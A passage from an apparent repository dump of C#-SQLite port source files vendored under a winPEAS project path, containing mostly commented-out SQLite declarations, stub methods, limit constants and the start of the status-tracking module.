*sqlite3NameFromToken(sqlite3*, Token*);\n    //int sqlite3ExprCompare(Expr*, Expr*);\n    //void sqlite3ExprAnalyzeAggregates(NameContext*, Expr*);\n    //void sqlite3ExprAnalyzeAggList(NameContext*,ExprList*);\n    //Vdbe *sqlite3GetVdbe(Parse*);\n    //Expr *sqlite3CreateIdExpr(Parse *, const char*);\n    //void sqlite3PrngSaveState(void);\n    //void sqlite3PrngRestoreState(void);\n    //void sqlite3PrngResetState(void);\n    //void sqlite3RollbackAll(sqlite3*);\n    //void sqlite3CodeVerifySchema(Parse*, int);\n    //void sqlite3BeginTransaction(Parse*, int);\n    //void sqlite3CommitTransaction(Parse*);\n    //void sqlite3RollbackTransaction(Parse*);\n    //void sqlite3Savepoint(Parse*, int, Token*);\n    //void sqlite3CloseSavepoints(sqlite3 *);\n    //int sqlite3ExprIsConstant(Expr*);\n    //int sqlite3ExprIsConstantNotJoin(Expr*);\n    //int sqlite3ExprIsConstantOrFunction(Expr*);\n    //int sqlite3ExprIsInteger(Expr*, int*);\n    //int sqlite3IsRowid(const char*);\n    //void sqlite3GenerateRowDelete(Parse*, Table*, int, int, int);\n    //void sqlite3GenerateRowIndexDelete(Parse*, Table*, int, int*);\n    //int sqlite3GenerateIndexKey(Parse*, Index*, int, int, int);\n    //void sqlite3GenerateConstraintChecks(Parse*,Table*,int,int,\n    //                                     int*,int,int,int,int,int*);\n    //void sqlite3CompleteInsertion(Parse*, Table*, int, int, int*, int, int,int,int);\n    //int sqlite3OpenTableAndIndices(Parse*, Table*, int, int);\n    //void sqlite3BeginWriteOperation(Parse*, int, int);\n    //Expr *sqlite3ExprDup(sqlite3*,Expr*,int);\n    //ExprList *sqlite3ExprListDup(sqlite3*,ExprList*,int);\n    //SrcList *sqlite3SrcListDup(sqlite3*,SrcList*,int);\n    //IdList *sqlite3IdListDup(sqlite3*,IdList*);\n    //Select *sqlite3SelectDup(sqlite3*,Select*,int);\n    //void sqlite3FuncDefInsert(FuncDefHash*, FuncDef*);\n    //FuncDef *sqlite3FindFunction(sqlite3*,const char*,int,int,u8,int);\n    //void sqlite3RegisterBuiltinFunctions(sqlite3*);\n    //void sqlite3RegisterDateTimeFunctions(void);\n    //void sqlite3RegisterGlobalFunctions(void);\n    //#if SQLITE_DEBUG\n    //  int sqlite3SafetyOn(sqlite3*);\n    //  int sqlite3SafetyOff(sqlite3*);\n    //#else\n    //# define sqlite3SafetyOn(A) 0\n    //# define sqlite3SafetyOff(A) 0\n    //#endif\n    //int sqlite3SafetyCheckOk(sqlite3*);\n    //int sqlite3SafetyCheckSickOrOk(sqlite3*);\n    //void sqlite3ChangeCookie(Parse*, int);\n#if !(SQLITE_OMIT_VIEW) && !(SQLITE_OMIT_TRIGGER)\n    //void sqlite3MaterializeView(Parse*, Table*, Expr*, int);\n#endif\n\n#if !SQLITE_OMIT_TRIGGER\n    //void sqlite3BeginTrigger(Parse*, Token*,Token*,int,int,IdList*,SrcList*,\n    //                         Expr*,int, int);\n    //void sqlite3FinishTrigger(Parse*, TriggerStep*, Token*);\n    //void sqlite3DropTrigger(Parse*, SrcList*, int);\n    //Trigger *sqlite3TriggersExist(Parse *, Table*, int, ExprList*, int *pMask);\n    //Trigger *sqlite3TriggerList(Parse *, Table *);\n    //int sqlite3CodeRowTrigger(Parse*, Trigger *, int, ExprList*, int, Table *,\n    //                          int, int, int, int, u32*, u32*);\n    //void sqliteViewTriggers(Parse*, Table*, Expr*, int, ExprList*);\n    //void sqlite3DeleteTriggerStep(sqlite3*, TriggerStep*);\n    //TriggerStep *sqlite3TriggerSelectStep(sqlite3*,Select*);\n    //TriggerStep *sqlite3TriggerInsertStep(sqlite3*,Token*, IdList*,\n    //                                      ExprList*,Select*,u8);\n    //TriggerStep *sqlite3TriggerUpdateStep(sqlite3*,Token*,ExprList*, Expr*, u8);\n    //TriggerStep *sqlite3TriggerDeleteStep(sqlite3*,Token*, Expr*);\n    //void sqlite3DeleteTrigger(sqlite3*, Trigger*);\n    //void sqlite3UnlinkAndDeleteTrigger(sqlite3*,int,const char*);\n#else\n//# define sqlite3TriggersExist(B,C,D,E,F) 0\n//# define sqlite3DeleteTrigger(A,B)\n//# define sqlite3DropTriggerPtr(A,B)\n//# define sqlite3UnlinkAndDeleteTrigger(A,B,C)\n//# define sqlite3CodeRowTrigger(A,B,C,D,E,F,G,H,I,J,K,L) 0\n//# define sqlite3TriggerList(X, Y) 0\n#endif\n\n    //int sqlite3JoinType(Parse*, Token*, Token*, Token*);\n    //void sqlite3CreateForeignKey(Parse*, ExprList*, Token*, ExprList*, int);\n    //void sqlite3DeferForeignKey(Parse*, int);\n#if !SQLITE_OMIT_AUTHORIZATION\nvoid sqlite3AuthRead(Parse*,Expr*,Schema*,SrcList*);\nint sqlite3AuthCheck(Parse*,int, const char*, const char*, const char*);\nvoid sqlite3AuthContextPush(Parse*, AuthContext*, const char*);\nvoid sqlite3AuthContextPop(AuthContext*);\n#else\n    //# define sqlite3AuthRead(a,b,c,d)\n    static void sqlite3AuthRead( Parse a, Expr b, Schema c, SrcList d ) { }\n    static int sqlite3AuthCheck( Parse a, int b, string c, byte[] d, byte[] e ) { return SQLITE_OK; }//# define sqlite3AuthCheck(a,b,c,d,e)    SQLITE_OK\n    //# define sqlite3AuthContextPush(a,b,c)\n    //# define sqlite3AuthContextPop(a)  ((void)(a))\n#endif\n    //void sqlite3Attach(Parse*, Expr*, Expr*, Expr*);\n    //void sqlite3Detach(Parse*, Expr*);\n    //int sqlite3BtreeFactory(const sqlite3 db, const char *zFilename,\n    //                       int omitJournal, int nCache, int flags, Btree **ppBtree);\n    //int sqlite3FixInit(DbFixer*, Parse*, int, const char*, const Token*);\n    //int sqlite3FixSrcList(DbFixer*, SrcList*);\n    //int sqlite3FixSelect(DbFixer*, Select*);\n    //int sqlite3FixExpr(DbFixer*, Expr*);\n    //int sqlite3FixExprList(DbFixer*, ExprList*);\n    //int sqlite3FixTriggerStep(DbFixer*, TriggerStep*);\n    //int sqlite3AtoF(const char *z, double*);\n    //int sqlite3GetInt32(const char *, int*);\n    //int sqlite3FitsIn64Bits(const char *, int);\n    //int sqlite3Utf16ByteLen(const void pData, int nChar);\n    //int sqlite3Utf8CharLen(const char pData, int nByte);\n    //int sqlite3Utf8Read(const u8*, const u8**);\n\n    /*\n    ** Routines to read and write variable-length integers.  These used to\n    ** be defined locally, but now we use the varint routines in the util.c\n    ** file.  Code should use the MACRO forms below, as the Varint32 versions\n    ** are coded to assume the single byte case is already handled (which\n    ** the MACRO form does).\n    */\n    //int sqlite3PutVarint(unsigned char*, u64);\n    //int putVarint32(unsigned char*, u32);\n    //u8 sqlite3GetVarint(const unsigned char *, u64 *);\n    //u8 sqlite3GetVarint32(const unsigned char *, u32 *);\n    //int sqlite3VarintLen(u64 v);\n\n    /*\n    ** The header of a record consists of a sequence variable-length integers.\n    ** These integers are almost always small and are encoded as a single byte.\n    ** The following macros take advantage this fact to provide a fast encode\n    ** and decode of the integers in a record header.  It is faster for the common\n    ** case where the integer is a single byte.  It is a little slower when the\n    ** integer is two or more bytes.  But overall it is faster.\n    **\n    ** The following expressions are equivalent:\n    **\n    **     x = sqlite3GetVarint32( A, B );\n    **     x = putVarint32( A, B );\n    **\n    **     x = getVarint32( A, B );\n    **     x = putVarint32( A, B );\n    **\n    */\n    //#define getVarint32(A,B)  (u8)((*(A)<(u8)0x80) ? ((B) = (u32)*(A)),1 : sqlite3GetVarint32((A), (u32 *)&(B)))\n    //#define putVarint32(A,B)  (u8)(((u32)(B)<(u32)0x80) ? (*(A) = (unsigned char)(B)),1 : sqlite3PutVarint32((A), (B)))\n    //#define getVarint    sqlite3GetVarint\n    //#define putVarint    sqlite3PutVarint\n\n\n    //void sqlite3IndexAffinityStr(Vdbe *, Index *);\n    //void sqlite3TableAffinityStr(Vdbe *, Table *);\n    //char sqlite3CompareAffinity(Expr pExpr, char aff2);\n    //int sqlite3IndexAffinityOk(Expr pExpr, char idx_affinity);\n    //char sqlite3ExprAffinity(Expr pExpr);\n    //int sqlite3Atoi64(const char*, i64*);\n    //void sqlite3Error(sqlite3*, int, const char*,...);\n    //void *sqlite3HexToBlob(sqlite3*, const char *z, int n);\n    //int sqlite3TwoPartName(Parse *, Token *, Token *, Token **);\n    //const char *sqlite3ErrStr(int);\n    //int sqlite3ReadSchema(Parse pParse);\n    //CollSeq *sqlite3FindCollSeq(sqlite3*,u8 enc, const char*,int);\n    //CollSeq *sqlite3LocateCollSeq(Parse *pParse, const char*zName);\n    //CollSeq *sqlite3ExprCollSeq(Parse pParse, Expr pExpr);\n    //Expr *sqlite3ExprSetColl(Parse pParse, Expr *, Token *);\n    //int sqlite3CheckCollSeq(Parse *, CollSeq *);\n    //int sqlite3CheckObjectName(Parse *, const char *);\n    //void sqlite3VdbeSetChanges(sqlite3 *, int);\n\n    //const void *sqlite3ValueText(sqlite3_value*, u8);\n    //int sqlite3ValueBytes(sqlite3_value*, u8);\n    //void sqlite3ValueSetStr(sqlite3_value*, int, const void *,u8,\n    //                      //  void(*)(void*));\n    //void sqlite3ValueFree(sqlite3_value*);\n    //sqlite3_value *sqlite3ValueNew(sqlite3 *);\n    //char *sqlite3Utf16to8(sqlite3 *, const void*, int);\n    //int sqlite3ValueFromExpr(sqlite3 *, Expr *, u8, u8, sqlite3_value **);\n    //void sqlite3ValueApplyAffinity(sqlite3_value *, u8, u8);\n    //#if !SQLITE_AMALGAMATION\n    //extern const unsigned char sqlite3UpperToLower[];\n    //extern const unsigned char sqlite3CtypeMap[];\n    //extern struct Sqlite3Config sqlite3Config;\n    //extern FuncDefHash sqlite3GlobalFunctions;\n    //extern int sqlite3PendingByte;\n    //#endif\n    //void sqlite3RootPageMoved(Db*, int, int);\n    //void sqlite3Reindex(Parse*, Token*, Token*);\n    //void sqlite3AlterFunctions(sqlite3*);\n    //void sqlite3AlterRenameTable(Parse*, SrcList*, Token*);\n    //int sqlite3GetToken(const unsigned char *, int *);\n    //void sqlite3NestedParse(Parse*, const char*, ...);\n    //void sqlite3ExpirePreparedStatements(sqlite3*);\n    //void sqlite3CodeSubselect(Parse *, Expr *, int, int);\n    //void sqlite3SelectPrep(Parse*, Select*, NameContext*);\n    //int sqlite3ResolveExprNames(NameContext*, Expr*);\n    //void sqlite3ResolveSelectNames(Parse*, Select*, NameContext*);\n    //int sqlite3ResolveOrderGroupBy(Parse*, Select*, ExprList*, const char*);\n    //void sqlite3ColumnDefault(Vdbe *, Table *, int, int);\n    //void sqlite3AlterFinishAddColumn(Parse *, Token *);\n    //void sqlite3AlterBeginAddColumn(Parse *, SrcList *);\n    //CollSeq *sqlite3GetCollSeq(sqlite3*, CollSeq *, const char*);\n    //char sqlite3AffinityType(const char*);\n    //void sqlite3Analyze(Parse*, Token*, Token*);\n    //int sqlite3InvokeBusyHandler(BusyHandler*);\n    //int sqlite3FindDb(sqlite3*, Token*);\n    //int sqlite3FindDbName(sqlite3 *, const char *);\n    //int sqlite3AnalysisLoad(sqlite3*,int iDB);\n    //void sqlite3DefaultRowEst(Index*);\n    //void sqlite3RegisterLikeFunctions(sqlite3*, int);\n    //int sqlite3IsLikeFunction(sqlite3*,Expr*,int*,char*);\n    //void sqlite3MinimumFileFormat(Parse*, int, int);\n    //void sqlite3SchemaFree(void *);\n    //Schema *sqlite3SchemaGet(sqlite3 *, Btree *);\n    //int sqlite3SchemaToIndex(sqlite3 db, Schema *);\n    //KeyInfo *sqlite3IndexKeyinfo(Parse *, Index *);\n    //int sqlite3CreateFunc(sqlite3 *, const char *, int, int, void *,\n    //  void (*)(sqlite3_context*,int,sqlite3_value **),\n    //  void (*)(sqlite3_context*,int,sqlite3_value **), void (*)(sqlite3_context*));\n    //int sqlite3ApiExit(sqlite3 db, int);\n    //int sqlite3OpenTempDatabase(Parse *);\n\n    //void sqlite3StrAccumAppend(StrAccum*,const char*,int);\n    //char *sqlite3StrAccumFinish(StrAccum*);\n    //void sqlite3StrAccumReset(StrAccum*);\n    //void sqlite3SelectDestInit(SelectDest*,int,int);\n\n    //void sqlite3BackupRestart(sqlite3_backup *);\n    //void sqlite3BackupUpdate(sqlite3_backup *, Pgno, const u8 *);\n\n    /*\n    ** The interface to the LEMON-generated parser\n    */\n    //void *sqlite3ParserAlloc(void*(*)(size_t));\n    //void sqlite3ParserFree(void*, void(*)(void*));\n    //void sqlite3Parser(void*, int, Token, Parse*);\n#if YYTRACKMAXSTACKDEPTH\nint sqlite3ParserStackPeak(void*);\n#endif\n\n    //void sqlite3AutoLoadExtensions(sqlite3*);\n#if !SQLITE_OMIT_LOAD_EXTENSION\n    //void sqlite3CloseExtensions(sqlite3*);\n#else\n//# define sqlite3CloseExtensions(X)\n#endif\n\n#if !SQLITE_OMIT_SHARED_CACHE\n//void sqlite3TableLock(Parse *, int, int, u8, const char *);\n#else\n    //#define sqlite3TableLock(v,w,x,y,z)\n    static void sqlite3TableLock( Parse p, int p1, int p2, u8 p3, byte[] p4 ) { }\n    static void sqlite3TableLock( Parse p, int p1, int p2, u8 p3, string p4 ) { }\n#endif\n\n#if SQLITE_TEST\n    ///int sqlite3Utf8To8(unsigned char*);\n#endif\n\n#if SQLITE_OMIT_VIRTUALTABLE\n    //#  define sqlite3VtabClear(Y)\n    static void sqlite3VtabClear( Table Y ) { }\n\n    //#  define sqlite3VtabSync(X,Y) SQLITE_OK\n    static int sqlite3VtabSync( sqlite3 X, string Y ) { return SQLITE_OK; }\n\n    //#  define sqlite3VtabRollback(X)\n    static void sqlite3VtabRollback( sqlite3 X ) { }\n\n    //#  define sqlite3VtabCommit(X)\n    static void sqlite3VtabCommit( sqlite3 X ) { }\n\n    //#  define sqlite3VtabInSync(db) 0\n    //#  define sqlite3VtabLock(X) \n    static void sqlite3VtabLock( VTable X ) { }\n\n    //#  define sqlite3VtabUnlock(X)\n    static void sqlite3VtabUnlock( VTable X ) { }\n\n    //#  define sqlite3VtabUnlockList(X)\n    static void sqlite3VtabUnlockList( sqlite3 X ) { }\n\n    static void sqlite3VtabArgExtend( Parse p, Token t ) { }//#  define sqlite3VtabArgExtend(P, T)\n    static void sqlite3VtabArgInit( Parse p ) { }//#  define sqlite3VtabArgInit(P)\n    static void sqlite3VtabBeginParse( Parse p, Token t1, Token t2, Token t3 ) { }//#  define sqlite3VtabBeginParse(P, T, T1, T2)\n    static void sqlite3VtabFinishParse<T>( Parse P, T t ) { }//#  define sqlite3VtabFinishParse(P, T)\n    static bool sqlite3VtabInSync( sqlite3 db ) { return false; }\n\n    static VTable sqlite3GetVTable(sqlite3 db , Table T) {return null;}\n#else\n//void sqlite3VtabClear(Table*);\n//int sqlite3VtabSync(sqlite3 db, int rc);\n//int sqlite3VtabRollback(sqlite3 db);\n//int sqlite3VtabCommit(sqlite3 db);\n//void sqlite3VtabLock(VTable *);\n//void sqlite3VtabUnlock(VTable *);\n//void sqlite3VtabUnlockList(sqlite3*);\n//#  define sqlite3VtabInSync(db) ((db)->nVTrans>0 && (db)->aVTrans==0)\nstatic bool sqlite3VtabInSync( sqlite3 db ) { return ( db.nVTrans > 0 && db.aVTrans == 0 ); }\n#endif\n    //void sqlite3VtabMakeWritable(Parse*,Table*);\n    //void sqlite3VtabBeginParse(Parse*, Token*, Token*, Token*);\n    //void sqlite3VtabFinishParse(Parse*, Token*);\n    //void sqlite3VtabArgInit(Parse*);\n    //void sqlite3VtabArgExtend(Parse*, Token*);\n    //int sqlite3VtabCallCreate(sqlite3*, int, const char *, char **);\n    //int sqlite3VtabCallConnect(Parse*, Table*);\n    //int sqlite3VtabCallDestroy(sqlite3*, int, const char *);\n    //int sqlite3VtabBegin(sqlite3 *, VTable *);\n    //FuncDef *sqlite3VtabOverloadFunction(sqlite3 *,FuncDef*, int nArg, Expr*);\n    //void sqlite3InvalidFunction(sqlite3_context*,int,sqlite3_value**);\n    //int sqlite3TransferBindings(sqlite3_stmt *, sqlite3_stmt *);\n    //int sqlite3Reprepare(Vdbe*);\n    //void sqlite3ExprListCheckLength(Parse*, ExprList*, const char*);\n    //CollSeq *sqlite3BinaryCompareCollSeq(Parse *, Expr *, Expr *);\n    //int sqlite3TempInMemory(const sqlite3*);\n    //VTable *sqlite3GetVTable(sqlite3*, Table*);\n\n\n    /*\n    ** Available fault injectors.  Should be numbered beginning with 0.\n    */\n    const int SQLITE_FAULTINJECTOR_MALLOC = 0;//#define SQLITE_FAULTINJECTOR_MALLOC     0\n    const int SQLITE_FAULTINJECTOR_COUNT = 1;//#define SQLITE_FAULTINJECTOR_COUNT      1\n\n    /*\n    ** The interface to the code in fault.c used for identifying \"benign\"\n    ** malloc failures. This is only present if SQLITE_OMIT_BUILTIN_TEST\n    ** is not defined.\n    */\n#if !SQLITE_OMIT_BUILTIN_TEST\n    //void sqlite3BeginBenignMalloc(void);\n    //void sqlite3EndBenignMalloc(void);\n#else\n//#define sqlite3BeginBenignMalloc()\n//#define sqlite3EndBenignMalloc()\n#endif\n\n    const int IN_INDEX_ROWID = 1;//#define IN_INDEX_ROWID           1\n    const int IN_INDEX_EPH = 2;//#define IN_INDEX_EPH             2\n    const int IN_INDEX_INDEX = 3;//#define IN_INDEX_INDEX           3\n    //int sqlite3FindInIndex(Parse *, Expr *, int*);\n\n#if SQLITE_ENABLE_ATOMIC_WRITE\n//  int sqlite3JournalOpen(sqlite3_vfs *, const char *, sqlite3_file *, int, int);\n//  int sqlite3JournalSize(sqlite3_vfs *);\n//  int sqlite3JournalCreate(sqlite3_file *);\n#else\n    //#define sqlite3JournalSize(pVfs) ((pVfs)->szOsFile)\n    static int sqlite3JournalSize( sqlite3_vfs pVfs ) { return pVfs.szOsFile; }\n#endif\n\n    //void sqlite3MemJournalOpen(sqlite3_file *);\n    //int sqlite3MemJournalSize(void);\n    //int sqlite3IsMemJournal(sqlite3_file *);\n\n#if SQLITE_MAX_EXPR_DEPTH//>0\n    //  void sqlite3ExprSetHeight(Parse pParse, Expr p);\n    //  int sqlite3SelectExprHeight(Select *);\n    //int sqlite3ExprCheckHeight(Parse*, int);\n#else\n//#define sqlite3ExprSetHeight(x,y)\n//#define sqlite3SelectExprHeight(x) 0\n//#define sqlite3ExprCheckHeight(x,y)\n#endif\n\n    //u32 sqlite3Get4byte(const u8*);\n    //void sqlite3sqlite3Put4byte(u8*, u32);\n\n#if SQLITE_ENABLE_UNLOCK_NOTIFY\nvoid sqlite3ConnectionBlocked(sqlite3 *, sqlite3 *);\nvoid sqlite3ConnectionUnlocked(sqlite3 *db);\nvoid sqlite3ConnectionClosed(sqlite3 *db);\n#else\n    static void sqlite3ConnectionBlocked( sqlite3 x, sqlite3 y ) { } //#define sqlite3ConnectionBlocked(x,y)\n    static void sqlite3ConnectionUnlocked( sqlite3 x ) { }                   //#define sqlite3ConnectionUnlocked(x)\n    static void sqlite3ConnectionClosed( sqlite3 x ) { }                     //#define sqlite3ConnectionClosed(x)\n#endif\n\n#if SQLITE_DEBUG\n    //  void sqlite3ParserTrace(FILE*, char *);\n#endif\n\n    /*\n** If the SQLITE_ENABLE IOTRACE exists then the global variable\n** sqlite3IoTrace is a pointer to a printf-like routine used to\n** print I/O tracing messages.\n*/\n#if SQLITE_ENABLE_IOTRACE\nstatic bool SQLite3IoTrace = false;\n//#define IOTRACE(A)  if( sqlite3IoTrace ){ sqlite3IoTrace A; }\nstatic void IOTRACE( string X, params object[] ap ) { if ( SQLite3IoTrace ) { printf( X, ap ); } }\n\n//  void sqlite3VdbeIOTraceSql(Vdbe);\n//SQLITE_EXTERN void (*sqlite3IoTrace)(const char*,...);\n#else\n    //#define IOTRACE(A)\n    static void IOTRACE( string F, params object[] ap ) { }\n    //#define sqlite3VdbeIOTraceSql(X)\n    static void sqlite3VdbeIOTraceSql( Vdbe X ) { }\n#endif\n\n    //#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqliteLimit_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 May 7\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file defines various limits of what SQLite can process.\n    **\n    ** @(#) $Id: sqliteLimit.h,v 1.10 2009/01/10 16:15:09 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    /*\n    ** The maximum length of a TEXT or BLOB in bytes.   This also\n    ** limits the size of a row in a table or index.\n    **\n    ** The hard limit is the ability of a 32-bit signed integer\n    ** to count the size: 2^31-1 or 2147483647.\n    */\n#if !SQLITE_MAX_LENGTH\n    const int SQLITE_MAX_LENGTH = 1000000000;\n#endif\n\n    /*\n** This is the maximum number of\n**\n**    * Columns in a table\n**    * Columns in an index\n**    * Columns in a view\n**    * Terms in the SET clause of an UPDATE statement\n**    * Terms in the result set of a SELECT statement\n**    * Terms in the GROUP BY or ORDER BY clauses of a SELECT statement.\n**    * Terms in the VALUES clause of an INSERT statement\n**\n** The hard upper limit here is 32676.  Most database people will\n** tell you that in a well-normalized database, you usually should\n** not have more than a dozen or so columns in any table.  And if\n** that is the case, there is no point in having more than a few\n** dozen values in any of the other situations described above.\n*/\n#if !SQLITE_MAX_COLUMN\n    const int SQLITE_MAX_COLUMN = 2000;\n#endif\n\n    /*\n** The maximum length of a single SQL statement in bytes.\n**\n** It used to be the case that setting this value to zero would\n** turn the limit off.  That is no longer true.  It is not possible\n** to turn this limit off.\n*/\n#if !SQLITE_MAX_SQL_LENGTH\n    const int SQLITE_MAX_SQL_LENGTH = 1000000000;\n#endif\n\n    /*\n** The maximum depth of an expression tree. This is limited to\n** some extent by SQLITE_MAX_SQL_LENGTH. But sometime you might\n** want to place more severe limits on the complexity of an\n** expression.\n**\n** A value of 0 used to mean that the limit was not enforced.\n** But that is no longer true.  The limit is now strictly enforced\n** at all times.\n*/\n#if !SQLITE_MAX_EXPR_DEPTH\n    const int SQLITE_MAX_EXPR_DEPTH = 1000;\n#endif\n\n    /*\n** The maximum number of terms in a compound SELECT statement.\n** The code generator for compound SELECT statements does one\n** level of recursion for each term.  A stack overflow can result\n** if the number of terms is too large.  In practice, most SQL\n** never has more than 3 or 4 terms.  Use a value of 0 to disable\n** any limit on the number of terms in a compount SELECT.\n*/\n#if !SQLITE_MAX_COMPOUND_SELECT\n    const int SQLITE_MAX_COMPOUND_SELECT = 250;\n#endif\n\n    /*\n** The maximum number of opcodes in a VDBE program.\n** Not currently enforced.\n*/\n#if !SQLITE_MAX_VDBE_OP\n    const int SQLITE_MAX_VDBE_OP = 25000;\n#endif\n\n    /*\n** The maximum number of arguments to an SQL function.\n*/\n#if !SQLITE_MAX_FUNCTION_ARG\n    const int SQLITE_MAX_FUNCTION_ARG = 127;//# define SQLITE_MAX_FUNCTION_ARG 127\n#endif\n\n    /*\n** The maximum number of in-memory pages to use for the main database\n** table and for temporary tables.  The SQLITE_DEFAULT_CACHE_SIZE\n*/\n#if !SQLITE_DEFAULT_CACHE_SIZE\n    const int SQLITE_DEFAULT_CACHE_SIZE = 2000;\n#endif\n#if !SQLITE_DEFAULT_TEMP_CACHE_SIZE\n    const int SQLITE_DEFAULT_TEMP_CACHE_SIZE = 500;\n#endif\n\n    /*\n** The maximum number of attached databases.  This must be between 0\n** and 30.  The upper bound on 30 is because a 32-bit integer bitmap\n** is used internally to track attached databases.\n*/\n#if !SQLITE_MAX_ATTACHED\n    const int SQLITE_MAX_ATTACHED = 10;\n#endif\n\n\n    /*\n** The maximum value of a ?nnn wildcard that the parser will accept.\n*/\n#if !SQLITE_MAX_VARIABLE_NUMBER\n    const int SQLITE_MAX_VARIABLE_NUMBER = 999;\n#endif\n\n    /* Maximum page size.  The upper bound on this value is 32768.  This a limit\n** imposed by the necessity of storing the value in a 2-byte unsigned integer\n** and the fact that the page size must be a power of 2.\n**\n** If this limit is changed, then the compiled library is technically\n** incompatible with an SQLite library compiled with a different limit. If\n** a process operating on a database with a page-size of 65536 bytes\n** crashes, then an instance of SQLite compiled with the default page-size\n** limit will not be able to rollback the aborted transaction. This could\n** lead to database corruption.\n*/\n#if !SQLITE_MAX_PAGE_SIZE\n    const int SQLITE_MAX_PAGE_SIZE = 32768;\n#endif\n\n\n    /*\n** The default size of a database page.\n*/\n#if !SQLITE_DEFAULT_PAGE_SIZE\n    const int SQLITE_DEFAULT_PAGE_SIZE = 1024;\n#endif\n#if SQLITE_DEFAULT_PAGE_SIZE //SQLITE_DEFAULT_PAGE_SIZE>SQLITE_MAX_PAGE_SIZE\n# undef SQLITE_DEFAULT_PAGE_SIZE\nconst int SQLITE_DEFAULT_PAGE_SIZE SQLITE_MAX_PAGE_SIZE\n#endif\n\n    /*\n** Ordinarily, if no value is explicitly provided, SQLite creates databases\n** with page size SQLITE_DEFAULT_PAGE_SIZE. However, based on certain\n** device characteristics (sector-size and atomic write() support),\n** SQLite may choose a larger value. This constant is the maximum value\n** SQLite will choose on its own.\n*/\n#if !SQLITE_MAX_DEFAULT_PAGE_SIZE\n    const int SQLITE_MAX_DEFAULT_PAGE_SIZE = 8192;\n#endif\n#if SQLITE_MAX_DEFAULT_PAGE_SIZE //SQLITE_MAX_DEFAULT_PAGE_SIZE>SQLITE_MAX_PAGE_SIZE\n# undef SQLITE_MAX_DEFAULT_PAGE_SIZE\nconst int SQLITE_MAX_DEFAULT_PAGE_SIZE SQLITE_MAX_PAGE_SIZE\n#endif\n\n\n    /*\n** Maximum number of pages in one database file.\n**\n** This is really just the default value for the max_page_count pragma.\n** This value can be lowered (or raised) at run-time using that the\n** max_page_count macro.\n*/\n#if !SQLITE_MAX_PAGE_COUNT\n    const int SQLITE_MAX_PAGE_COUNT = 1073741823;\n#endif\n\n    /*\n** Maximum length (in bytes) of the pattern in a LIKE or GLOB\n** operator.\n*/\n#if !SQLITE_MAX_LIKE_PATTERN_LENGTH\n    const int SQLITE_MAX_LIKE_PATTERN_LENGTH = 50000;\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqliteicu_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 May 26\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    ******************************************************************************\n    **\n    ** This header file is used by programs that want to link against the\n    ** ICU extension.  All it does is declare the sqlite3IcuInit() interface.\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqlite3.h\"\n\n    //#if __cplusplus\n    //extern \"C\" {\n    //#endif  /* __cplusplus */\n\n    //int sqlite3IcuInit(sqlite3 *db);\n\n    //#if __cplusplus\n    //}  /* extern \"C\" */\n    //#endif  /* __cplusplus */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/status_c.cs",
    "content": "using System.Diagnostics;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2008 June 18\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This module implements the sqlite3_status() interface and related\n    ** functionality.\n    **\n    ** $Id: status.c,v 1.9 2008/09/02 00:52:52 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Variables in which to record status information.\n    */\n    //typedef struct sqlite3StatType sqlite3StatType;\n    public class sqlite3StatType\n    {\n      public int[] nowValue = new int[9];        /* Current value */\n      public int[] mxValue = new int[9];           /* Maximum value */\n    }\n    public static sqlite3StatType sqlite3Stat = new sqlite3StatType();\n\n    /* The \"wsdStat\" macro will resolve to the status information\n    ** state vector.  If writable static data is unsupported on the target,\n    ** we have to locate the state vector at run-time.  In the more common\n    ** case where writable static data is supported, wsdStat can refer directly\n    ** to the \"sqlite3Stat\" state vector declared above.\n    */\n#if SQLITE_OMIT_WSD\n//# define wsdStatInit  sqlite3StatType *x = &GLOBAL(sqlite3StatType,sqlite3Stat)\n//# define wsdStat x[0]\n#else\n    //# define wsdStatInit\n    static void wsdStatInit() { }\n    //# define wsdStat sqlite3Stat\n    static sqlite3StatType wsdStat = sqlite3Stat;\n#endif\n\n    /*\n** Return the current value of a status parameter.\n*/\n    static int sqlite3StatusValue( int op )\n    {\n      wsdStatInit();\n      Debug.Assert( op >= 0 && op < ArraySize( wsdStat.nowValue ) );\n      return wsdStat.nowValue[op];\n    }\n\n    /*\n    ** Add N to the value of a status record.  It is assumed that the\n    ** caller holds appropriate locks.\n    */\n    static void sqlite3StatusAdd( int op, int N )\n    {\n      wsdStatInit();\n      Debug.Assert( op >= 0 && op < ArraySize( wsdStat.nowValue ) );\n      wsdStat.nowValue[op] += N;\n      if ( wsdStat.nowValue[op] > wsdStat.mxValue[op] )\n      {\n        